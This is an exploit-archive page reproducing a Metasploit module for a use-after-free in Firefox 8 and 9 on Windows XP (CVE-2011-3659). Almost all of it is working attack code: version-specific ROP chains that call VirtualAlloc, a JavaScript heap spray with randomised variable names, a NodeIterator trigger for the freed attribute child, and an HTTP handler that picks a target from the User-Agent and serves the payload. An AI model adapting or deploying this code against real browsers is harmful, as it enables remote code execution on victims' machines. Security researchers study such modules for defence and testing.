Firefox 8/9 AttributeChildRemoved() Use-After-Free

2012-05-13T00:00:00
ID 1337DAY-ID-18256
Type zdt
Reporter metasploit
Modified 2012-05-13T00:00:00

Description

Exploit for windows platform in category remote exploits

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',
            'Description'    => %q{
                This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.
                Removal of child nodes from the nsDOMAttribute can allow for a child
                to still be accessible after removal due to a premature notification
                of AttributeChildRemoved. Since mFirstChild is not set to NULL until
                after this call is made, this means the removed child will be accessible
                after it has been removed. By carefully manipulating the memory layout,
                this can lead to arbitrary code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'regenrecht',                          #vulnerability discovery
                    'Lincoln<lincoln[at]corelan.be>',      #Metasploit module
                    'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-3659' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413
                    [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'BadChars'       => "\x00\x0a\x0d\x34",
                    'DisableNops'    => true,
                    'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"  #ADD ESP, -5DC
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [
                        'Windows XP - Firefox 8 / 8.0.1',
                        {
                            'Ret'       => 0x0C0C0C0C,
                            'OffSet'    => 0x606,
                            'Size'      => 0x40000,
                            'StackFlip' => 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]
                            'PopEsp'    => [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],
                            'FF'        => 8,
                            'OS'        => 'XP'
                        }
                    ],
                    [
                        'Windows XP - Firefox 9',
                        {
                            'Ret'       => 0x0C0C0C0C,
                            'OffSet'    => 0x606,
                            'Size'      => 0x40000,
                            'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]     
                            'PopEsp'    => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll] 
                            'FF'        => 9,
                            'OS'        => 'XP'
                        }
                    ],
                    [
                        'Windows XP - Firefox 9.0.1',
                        {
                            'Ret'       => 0x0C0C0C0C,
                            'OffSet'    => 0x606,
                            'Size'      => 0x40000,
                            'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]     
                            'PopEsp'    => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
                            'FF'        => 901,
                            'OS'        => 'XP'
                        }
                    ]
                ],
            'DisclosureDate' => 'Dec 6 2011',
            'DefaultTarget'  => 0))
 
    end
 
    def autofilter
        false
    end
 
    def check_dependencies
        use_zlib
    end
 
    def junk(n=4)
        return rand_text_alpha_upper(n).unpack("L")[0].to_i
    end
 
    def nop
        return make_nops(4).unpack("L")[0].to_i
    end
 
    def get_rop_chain(ffversion,osversion)
 
        # mona.py ROP chains
 
        rop_chain = []
 
        if ffversion == 8 and osversion == "XP"
 
            rop_chain =
            [
                0x7819c80a,     # POP EAX # RETN [MOZCRT19.dll]
                0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
                0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
                0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
                0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
                0x781503c3,     # & call esp [MOZCRT19.dll]
                0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
                0x00000001,     # 0x00000001-> ebx
                0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
                0x00001000,     # 0x00001000-> edx
                0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
                0x00000040,     # 0x00000040-> ecx
                0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
                0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
                0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
                nop,            # nop
                0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
            ].flatten.pack("V*")
 
        elsif ffversion == 9 and osversion == "XP"
 
            rop_chain =
            [
                0x10019ee9, # POP ECX # RETN [nspr4.dll]
                0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]
                0x1000f994, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
                0x10012ad0, # POP EBX # RETN [nspr4.dll]
                0x00000000, # clear ebx
                0x10006f41, # ADD EBX,EAX # XOR EAX,EAX # RETN
                0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
                0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]
                0x10019ee9, # POP ECX # RETN [nspr4.dll]
                0x0c0c0c50, # xul.dll (Unicode string)
                0x1000eeb4, # POP EDI # RETN [nspr4.dll]
                0x1001f145, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
                0x10004860, # POP EAX # RETN [nspr4.dll]
                0x1001f111, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]
                0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]
                junk,       # win some, lose some
                0x00750078, # xu
                0x002e006c, # l.
                0x006c0064, # dl
                0x0000006c, # l
                0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
                0x00A63374, # Delta to IAT VirtualAlloc()
                0x10018ada, # ADD EAX,EDX # RETN [nspr4.dll]
                0x10008ddf, # MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [nspr4.dll]
                0x1000a031,     # POP ESI # RETN    ** [nspr4.dll]
                0x1000a031,     # POP ESI # RETN    ** [nspr4.dll] (readable address)
                0x10013f1f, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
                0x1000687b, # POP EBP # RETN [nspr4.dll]
                0x1001a59b, # & call esp [nspr4.dll]
                0x10012ad0, # POP EBX # RETN [nspr4.dll]
                0x00000001, # 0x00000001-> ebx
                0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
                0x00001000, # 0x00001000-> edx
                0x1001069e, # POP ECX # RETN [nspr4.dll]
                0x00000040, # 0x00000040-> ecx
                0x1000eeb4, # POP EDI # RETN [nspr4.dll]
                0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]
                0x10004860, # POP EAX # RETN [nspr4.dll]
                0x10004860, # POP EAX # RETN [nspr4.dll]
                0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]
            ].flatten.pack("V*")
 
 
        elsif ffversion == 901 and osversion == "XP"
 
            rop_chain =
            [
                0x1000bfc1, # POP ECX # RETN [nspr4.dll]
                0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]
                0x1000f986, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
                0x1000f5ef, # POP EBX # RETN [nspr4.dll]
                0x00000000, # clear ebx
                0x10006f51, # ADD EBX,EAX # XOR EAX,EAX # RETN
                0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
                0x1001ea03, # RETN (ROP NOP) [nspr4.dll]
                0x1000bfc1, # POP ECX # RETN [nspr4.dll]
                0x0c0c0c50, # xul.dll (Unicode string)
                0x1000eea6, # POP EDI # RETN [nspr4.dll]
                0x1000dda4, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
                0x10004870, # POP EAX # RETN [nspr4.dll]
                0x10001ab4, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]
                0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]
                junk,       # win some, lose some
                0x00750078, # xu
                0x002e006c, # l.
                0x006c0064, # dl
                0x0000006c, # l
                0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
                0x00A63374, # Delta to IAT VirtualAlloc()
                0x10018acf, # ADD EAX,EDX # RETN [nspr4.dll]
                0x10008dd1, # MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [nspr4.dll]
                0x1000e0b8, # POP ESI # RETN    ** [nspr4.dll]
                0x1000e0b8, # POP ESI # RETN    ** [nspr4.dll] (readable address)
                0x10013f14, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
                0x100162d5, # POP EBP # RETN [nspr4.dll]
                0x10019d12, # & push esp #  ret  [nspr4.dll]
                0x1000f5ef, # POP EBX # RETN [nspr4.dll]
                0x00000001, # 0x00000001-> ebx
                0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
                0x00001000, # 0x00001000-> edx
                0x10007e46, # POP ECX # RETN [nspr4.dll]
                0x00000040, # 0x00000040-> ecx
                0x1000eea6, # POP EDI # RETN [nspr4.dll]
                0x1001ea03, # RETN (ROP NOP) [nspr4.dll]
                0x10004870, # POP EAX # RETN [nspr4.dll]
                0x10004870, # POP EAX # RETN [nspr4.dll]
                0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]
            ].flatten.pack("V*")
 
 
        end
 
        return rop_chain
    end
 
 
    def on_request_uri(cli, request)
        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)
 
        # determine the target FF and OS version
 
        ffversion = ""
        osversion = ""
 
        agent = request.headers['User-Agent']
 
        if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/
            vprint_error("This browser version is not supported: #{agent.to_s}")
            send_not_found(cli)
            return
        end
 
        my_target = target
        if my_target.name == 'Automatic'
            if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
                my_target = targets[1]
            elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/
                my_target = targets[3]
            elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/
                my_target = targets[2]
            elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
                send_not_found(cli)
                return
            end
            target = my_target
        end
 
        # Create the payload
        print_status("Creating payload for #{target.name}")
 
        rop = [ target['StackFlip'] ].pack("V")
        rop << get_rop_chain(target['FF'],target['OS'])
        rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))
 
        code = payload.encoded
        code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
 
        popesp = target['PopEsp'].flatten.pack("V*")
        popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))
 
        filler = [ junk ].pack("V*")
        filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))
 
        # random JavaScript variable names
        i_name                  = rand_text_alpha(rand(10) + 5)
        rop_name                = rand_text_alpha(rand(10) + 5)
        code_name               = rand_text_alpha(rand(10) + 5)
        offset_length_name      = rand_text_alpha(rand(10) + 5)
        randnum1_name           = rand_text_alpha(rand(10) + 5)
        randnum2_name           = rand_text_alpha(rand(10) + 5)
        randnum3_name           = rand_text_alpha(rand(10) + 5)
        randnum4_name           = rand_text_alpha(rand(10) + 5)
        paddingstr_name         = rand_text_alpha(rand(10) + 5)
        padding_name            = rand_text_alpha(rand(10) + 5)
        junk_offset_name        = rand_text_alpha(rand(10) + 5)
        single_sprayblock_name  = rand_text_alpha(rand(10) + 5)
        sprayblock_name         = rand_text_alpha(rand(10) + 5)
        varname_name            = rand_text_alpha(rand(10) + 5)
        thisvarname_name        = rand_text_alpha(rand(10) + 5)
        attr_name               = rand_text_alpha(rand(10) + 5)
        foo_name                = rand_text_alpha(rand(10) + 5)
        bar_name                = rand_text_alpha(rand(10) + 5)
        ni_name                 = rand_text_alpha(rand(10) + 5)
        small_name              = rand_text_alpha(rand(10) + 5)
        addr_name               = rand_text_alpha(rand(10) + 5)
        run_name                = rand_text_alpha(rand(10) + 5)
        container_name          = rand_text_alpha(rand(10) + 5)
 
        # corelan precise heap spray:
        # https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
        # + trigger routine
        spray = <<-JS
 
        var #{rop_name} = unescape("#{rop_js}");
        var #{code_name} = unescape("#{code_js}");
        var #{offset_length_name} = #{target['OffSet']};
 
        for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++)
        {
            var #{randnum1_name}=Math.floor(Math.random()*90)+10;
            var #{randnum2_name}=Math.floor(Math.random()*90)+10;
            var #{randnum3_name}=Math.floor(Math.random()*90)+10;
            var #{randnum4_name}=Math.floor(Math.random()*90)+10;
 
            var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
            #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();
 
            var #{padding_name} = unescape(#{paddingstr_name});
 
            while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};
 
            #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});
 
            var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
            #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);
 
            while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};
 
            #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);
 
            #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
            #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
            #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
            eval(#{thisvarname_name});
        }
 
        function #{run_name}() {
            var #{attr_name} = document.createAttribute("#{foo_name}");
            #{attr_name}.value = "#{bar_name}";
 
            var #{ni_name} = document.createNodeIterator(
                #{attr_name}, NodeFilter.SHOW_ALL,
                {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
                false);
 
            #{ni_name}.nextNode();
            #{ni_name}.nextNode();
            #{ni_name}.previousNode();
 
            #{attr_name}.value = null;
  
            const #{addr_name} = unescape("#{filler_js}");
            var #{container_name} = new Array();
            var #{small_name} = unescape("#{popesp_js}")
            while (#{small_name}.length != 30)
                #{small_name} += #{addr_name};
            for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name})
                #{container_name}.push(unescape(#{small_name}));
 
            #{ni_name}.referenceNode;
 
        }
        JS
 
        # build html
        content = <<-HTML
        <html>
        <head>
        <meta http-equiv="refresh" content="3">
        <body>
        <script language='javascript'>
        #{spray}
        </script>
        </head>
        <body onload="#{run_name}();">
        </svg>
        </body>
        </html>
        HTML
 
        print_status("Returning HTML")
 
        # Transmit the response to the client
        send_response(cli, content, {'Content-Type'=>'text/html'})
 
    end
 
end



#  0day.today [2018-03-14]  #